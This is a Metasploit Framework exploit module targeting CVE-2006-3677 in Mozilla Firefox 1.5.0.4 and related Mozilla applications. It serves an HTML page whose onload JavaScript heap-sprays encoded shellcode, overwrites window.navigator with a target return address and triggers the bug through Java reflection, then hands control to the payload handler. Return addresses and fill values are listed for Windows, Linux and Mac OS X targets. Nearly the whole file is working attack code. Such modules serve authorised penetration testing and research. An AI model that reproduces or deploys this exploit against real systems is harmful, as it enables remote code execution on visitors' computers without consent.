Mozilla Suite/Firefox Navigator Object Code Execution



##

# $Id: mozilla_navigatorjava.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core/constants'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    include Msf::Exploit::Remote::BrowserAutopwn
    autopwn_info({
        :ua_name    => HttpClients::FF,
        :javascript => true,
        :rank       => NormalRanking, # reliable memory corruption
        :vuln_test  => %Q|
            is_vuln = false;
            if (window.navigator.javaEnabled && window.navigator.javaEnabled()){
                is_vuln = true;
            }
            |,
    })

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Mozilla Suite/Firefox Navigator Object Code Execution',
            'Description'    => %q{
                    This module exploits a code execution vulnerability in the Mozilla
                Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
                requires the Java plugin to be installed.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>  ['hdm'],
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    ['CVE',    '2006-3677'],
                    ['OSVDB',  '27559'],
                    ['BID',    '19192'],
                    ['URL',    'http://www.mozilla.org/security/announce/mfsa2006-45.html'],
                    ['URL',    'http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html'],
                ],
            'Payload'        =>
                {
                    'Space'    => 512,
                    'BadChars' => "",
                },
            'Targets'        =>
                [
                    [ 'Firefox 1.5.0.4 Windows x86',
                        {
                            'Platform' => 'win',
                            'Arch' => ARCH_X86,
                            'Ret'  => 0x08000800,
                            'Fill' => "%u0800",
                        }
                    ],
                    [ 'Firefox 1.5.0.4 Linux x86',
                        {
                            'Platform' => 'linux',
                            'Arch' => ARCH_X86,
                            'Ret'  => -0x58000000,
                            'Fill' => "%ua8a8",
                        }
                    ],
                    [ 'Firefox 1.5.0.4 Mac OS X PPC',
                        {
                            'Platform' => 'osx',
                            'Arch' => ARCH_PPC,
                            'Ret'  => 0x0c000000,
                            'Fill' => "%u0c0c",
                        }
                    ],
                    [ 'Firefox 1.5.0.4 Mac OS X x86',
                        {
                            'Platform' => 'osx',
                            'Arch' => ARCH_X86,
                            'Ret'  => 0x1c000000,
                            'Fill' => "%u1c1c",
                        }
                    ],
                ],
            'DisclosureDate' => 'Jul 25 2006'
            ))
    end

    def on_request_uri(cli, request)

        # Re-generate the payload
        return if ((p = regenerate_payload(cli)) == nil)

        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
        send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

        # Handle the payload
        handler(cli)
    end

    def generate_html(payload)

        enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

        return %Q|
<html><head>
<script>
    function Exploit() {
        if (window.navigator.javaEnabled) {
            var shellcode = unescape("#{enc_code}");
            var b = unescape("#{target['Fill']}");
            while (b.length <= 0x400000) b+=b;

            var c = new Array();
            for (var i =0; i<36; i++) {
                c[i] =
                    b.substring(0,  0x100000 - shellcode.length) + shellcode +
                    b.substring(0,  0x100000 - shellcode.length) + shellcode +
                    b.substring(0,  0x100000 - shellcode.length) + shellcode +
                    b.substring(0,  0x100000 - shellcode.length) + shellcode;
            }

            window.navigator = (#{target['Ret']} / 2);
            try {
                java.lang.reflect.Runtime.newInstance(
                    java.lang.Class.forName("java.lang.Runtime"), 0
                );
            }catch(e){

            }
        }
    }
</script>
</head><body onload='Exploit()'>Please wait...</body></html>
        |
    end
end